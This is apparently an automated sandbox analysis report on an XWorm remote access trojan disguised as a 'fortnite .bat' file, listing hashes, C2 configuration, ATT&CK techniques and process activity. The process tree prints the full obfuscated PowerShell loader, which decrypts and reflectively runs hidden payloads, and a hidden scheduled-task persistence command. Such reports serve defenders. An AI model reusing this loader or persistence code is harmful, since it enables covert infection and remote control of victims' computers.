xworm | 6c0f00683ba47c5fcaef71626aefb1b0ac6f006888a3611222db1052f8a05ffd

Analysis

max time kernel
101s
max time network
142s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
08-11-2024 06:50

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General

Target

fortnite .bat
Size

571KB
MD5

73f587e1a81276175d5e6560e6d6b18c
SHA1

843d9c158c1942d8bd8348a36934cf9307aae7cc
SHA256

6c0f00683ba47c5fcaef71626aefb1b0ac6f006888a3611222db1052f8a05ffd
SHA512

ed1371fe6e1b9c4ee6a5797d25559c54c3d5709298f17fbd2b7ae472688f2cb6224d5a87ede31e565fe40731336a46db9bc0363b65859c64035117d5d3404bb6
SSDEEP

12288:RvkWtm4kNF0x6e2K2/SZAh9R5x3UEOM+2SoWDjsnlLOS6+7nkCzTdU8F+pptww9r:Uxo9I32QfMD

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

80.76.49.227:9999

Mutex

2G2GCFyKfM7BM0l4

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3620-55-0x0000021E54A30000-0x0000021E54A3E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
21	3620	powershell.exe
33	3620	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4820	powershell.exe
2888	powershell.exe
3620	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2132	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4820	powershell.exe
4820	powershell.exe
2888	powershell.exe
2888	powershell.exe
3620	powershell.exe
3620	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4820	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeIncreaseQuotaPrivilege	2888	powershell.exe
Token: SeSecurityPrivilege	2888	powershell.exe
Token: SeTakeOwnershipPrivilege	2888	powershell.exe
Token: SeLoadDriverPrivilege	2888	powershell.exe
Token: SeSystemProfilePrivilege	2888	powershell.exe
Token: SeSystemtimePrivilege	2888	powershell.exe
Token: SeProfSingleProcessPrivilege	2888	powershell.exe
Token: SeIncBasePriorityPrivilege	2888	powershell.exe
Token: SeCreatePagefilePrivilege	2888	powershell.exe
Token: SeBackupPrivilege	2888	powershell.exe
Token: SeRestorePrivilege	2888	powershell.exe
Token: SeShutdownPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeSystemEnvironmentPrivilege	2888	powershell.exe
Token: SeRemoteShutdownPrivilege	2888	powershell.exe
Token: SeUndockPrivilege	2888	powershell.exe
Token: SeManageVolumePrivilege	2888	powershell.exe
Token: 33	2888	powershell.exe
Token: 34	2888	powershell.exe
Token: 35	2888	powershell.exe
Token: 36	2888	powershell.exe
Token: SeIncreaseQuotaPrivilege	2888	powershell.exe
Token: SeSecurityPrivilege	2888	powershell.exe
Token: SeTakeOwnershipPrivilege	2888	powershell.exe
Token: SeLoadDriverPrivilege	2888	powershell.exe
Token: SeSystemProfilePrivilege	2888	powershell.exe
Token: SeSystemtimePrivilege	2888	powershell.exe
Token: SeProfSingleProcessPrivilege	2888	powershell.exe
Token: SeIncBasePriorityPrivilege	2888	powershell.exe
Token: SeCreatePagefilePrivilege	2888	powershell.exe
Token: SeBackupPrivilege	2888	powershell.exe
Token: SeRestorePrivilege	2888	powershell.exe
Token: SeShutdownPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeSystemEnvironmentPrivilege	2888	powershell.exe
Token: SeRemoteShutdownPrivilege	2888	powershell.exe
Token: SeUndockPrivilege	2888	powershell.exe
Token: SeManageVolumePrivilege	2888	powershell.exe
Token: 33	2888	powershell.exe
Token: 34	2888	powershell.exe
Token: 35	2888	powershell.exe
Token: 36	2888	powershell.exe
Token: SeIncreaseQuotaPrivilege	2888	powershell.exe
Token: SeSecurityPrivilege	2888	powershell.exe
Token: SeTakeOwnershipPrivilege	2888	powershell.exe
Token: SeLoadDriverPrivilege	2888	powershell.exe
Token: SeSystemProfilePrivilege	2888	powershell.exe
Token: SeSystemtimePrivilege	2888	powershell.exe
Token: SeProfSingleProcessPrivilege	2888	powershell.exe
Token: SeIncBasePriorityPrivilege	2888	powershell.exe
Token: SeCreatePagefilePrivilege	2888	powershell.exe
Token: SeBackupPrivilege	2888	powershell.exe
Token: SeRestorePrivilege	2888	powershell.exe
Token: SeShutdownPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeSystemEnvironmentPrivilege	2888	powershell.exe
Token: SeRemoteShutdownPrivilege	2888	powershell.exe
Token: SeUndockPrivilege	2888	powershell.exe
Token: SeManageVolumePrivilege	2888	powershell.exe
Token: 33	2888	powershell.exe
Token: 34	2888	powershell.exe
Token: 35	2888	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 2052	1100	cmd.exe	82
PID 1100 wrote to memory of 2052	1100	cmd.exe	82
PID 2052 wrote to memory of 4724	2052	net.exe	83
PID 2052 wrote to memory of 4724	2052	net.exe	83
PID 1100 wrote to memory of 4820	1100	cmd.exe	85
PID 1100 wrote to memory of 4820	1100	cmd.exe	85
PID 4820 wrote to memory of 2888	4820	powershell.exe	87
PID 4820 wrote to memory of 2888	4820	powershell.exe	87
PID 4820 wrote to memory of 1708	4820	powershell.exe	91
PID 4820 wrote to memory of 1708	4820	powershell.exe	91
PID 1708 wrote to memory of 2480	1708	WScript.exe	93
PID 1708 wrote to memory of 2480	1708	WScript.exe	93
PID 2480 wrote to memory of 2972	2480	cmd.exe	95
PID 2480 wrote to memory of 2972	2480	cmd.exe	95
PID 2972 wrote to memory of 4460	2972	net.exe	96
PID 2972 wrote to memory of 4460	2972	net.exe	96
PID 2480 wrote to memory of 3620	2480	cmd.exe	97
PID 2480 wrote to memory of 3620	2480	cmd.exe	97
PID 3620 wrote to memory of 636	3620	powershell.exe	102
PID 3620 wrote to memory of 636	3620	powershell.exe	102
PID 636 wrote to memory of 2132	636	cmd.exe	104
PID 636 wrote to memory of 2132	636	cmd.exe	104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fortnite .bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:4724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iJHn1mpGvhgI+DotLrS5NbtrLj72BaXKNRV/TmxQRBI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kXScYF4z//tI9MSHPpTdUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KRBnU=New-Object System.IO.MemoryStream(,$param_var); $ZOvqK=New-Object System.IO.MemoryStream; $MyezJ=New-Object System.IO.Compression.GZipStream($KRBnU, [IO.Compression.CompressionMode]::Decompress); $MyezJ.CopyTo($ZOvqK); $MyezJ.Dispose(); $KRBnU.Dispose(); $ZOvqK.Dispose(); $ZOvqK.ToArray();}function execute_function($param_var,$param2_var){ $IMvGp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MJtdD=$IMvGp.EntryPoint; $MJtdD.Invoke($null, $param2_var);}$IkjIR = 'C:\Users\Admin\AppData\Local\Temp\fortnite .bat';$host.UI.RawUI.WindowTitle = $IkjIR;$PmYzy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IkjIR).Split([Environment]::NewLine);foreach ($LHlfd in $PmYzy) { if ($LHlfd.StartsWith(':: ')) { $DAvow=$LHlfd.Substring(3); break; }}$payloads_var=[string[]]$DAvow.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_741_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_741.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2888
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_741.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_741.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2480
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2972
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:4460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iJHn1mpGvhgI+DotLrS5NbtrLj72BaXKNRV/TmxQRBI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kXScYF4z//tI9MSHPpTdUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KRBnU=New-Object System.IO.MemoryStream(,$param_var); $ZOvqK=New-Object System.IO.MemoryStream; $MyezJ=New-Object System.IO.Compression.GZipStream($KRBnU, [IO.Compression.CompressionMode]::Decompress); $MyezJ.CopyTo($ZOvqK); $MyezJ.Dispose(); $KRBnU.Dispose(); $ZOvqK.Dispose(); $ZOvqK.ToArray();}function execute_function($param_var,$param2_var){ $IMvGp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MJtdD=$IMvGp.EntryPoint; $MJtdD.Invoke($null, $param2_var);}$IkjIR = 'C:\Users\Admin\AppData\Roaming\startup_str_741.bat';$host.UI.RawUI.WindowTitle = $IkjIR;$PmYzy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IkjIR).Split([Environment]::NewLine);foreach ($LHlfd in $PmYzy) { if ($LHlfd.StartsWith(':: ')) { $DAvow=$LHlfd.Substring(3); break; }}$payloads_var=[string[]]$DAvow.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3620
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6107.tmp.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:636
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:2132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
020d1cbef5aeb22088c0faff8d76af4e

SHA1
93e7f27b8fb57cfea4ae330bedcace1a8ce7c014

SHA256
cb283829df7f7ca2f7f8072ed014bebb7d424581e8672a9fa5683f3674726bb0

SHA512
1046228ed9d08e5296c02409b5aa460e8280a633f7f2022ec7dc7c1e750522260006844bd5114ec713593bce1d10b8932963a8630e6707e76b45a0cb8c8ff53d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a11f87b8cd1fe31e813554148961c1e2

SHA1
196e7db1115913a69bc1fc5f195bc3c5b6cd448a

SHA256
7e9f295821a7d67bb2a4eb7653e5288f9ea83c333db95398f72b914a59afb083

SHA512
5509a66bdfd4e935c77ec2cf92b0fe998d7aa013c9cc9399b532db5d266d08314abd0afa6d08c14475e6badea92ef1d62e21999e489eb9d95e59006e786763b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_frxdtclp.bj0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp6107.tmp.bat

Filesize
171B

MD5
a113a4b104b326492bfbbc51679efecc

SHA1
d2d1aeeebbd9b101337b1ea194621db36933a6a9

SHA256
e60946de28afbad777f386079b3f673d365d6c3e1fda25d324831e9fd7555035

SHA512
6845581d8010b9c6fe42ecade0e540515e9111b1af6cda371758de469564f8853ed166f4dc5e311ae16ed0f7ec82e8335e8916daf352af76ea7557c2389e228b

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_741.vbs

Filesize
115B

MD5
caaef5e7afa46ce7c62f498aca9a6a78

SHA1
0991ef99738233860660f9e1024e37c4d40c4b57

SHA256
4ab4578fe3d5de509a03a00df3222935302db4a9f12cb778f526c081baf6560e

SHA512
61626b60a7fdf95ed55490b4737cb9f03ef7008e53f69fa0b1b17edae4c7983c1127a945bce69f5c6fea117dd6e28aca39467e998dcb03cba793f3b32dc5afb6

Download Submit
memory/2888-31-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

Filesize
10.8MB

Download
memory/2888-22-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

Filesize
10.8MB

Download
memory/2888-27-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

Filesize
10.8MB

Download
memory/2888-28-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

Filesize
10.8MB

Download
memory/3620-56-0x0000021E54730000-0x0000021E5473C000-memory.dmp

Filesize
48KB

Download
memory/3620-55-0x0000021E54A30000-0x0000021E54A3E000-memory.dmp

Filesize
56KB

Download
memory/4820-13-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

Filesize
10.8MB

Download
memory/4820-15-0x000001C560E00000-0x000001C560E32000-memory.dmp

Filesize
200KB

Download
memory/4820-14-0x000001C560B40000-0x000001C560B48000-memory.dmp

Filesize
32KB

Download
memory/4820-0-0x00007FFEEB513000-0x00007FFEEB515000-memory.dmp

Filesize
8KB

Download
memory/4820-41-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

Filesize
10.8MB

Download
memory/4820-52-0x00007FFEEB513000-0x00007FFEEB515000-memory.dmp

Filesize
8KB

Download
memory/4820-53-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

Filesize
10.8MB

Download
memory/4820-54-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

Filesize
10.8MB

Download
memory/4820-11-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

Filesize
10.8MB

Download
memory/4820-12-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

Filesize
10.8MB

Download
memory/4820-10-0x000001C560B50000-0x000001C560B72000-memory.dmp

Filesize
136KB

Download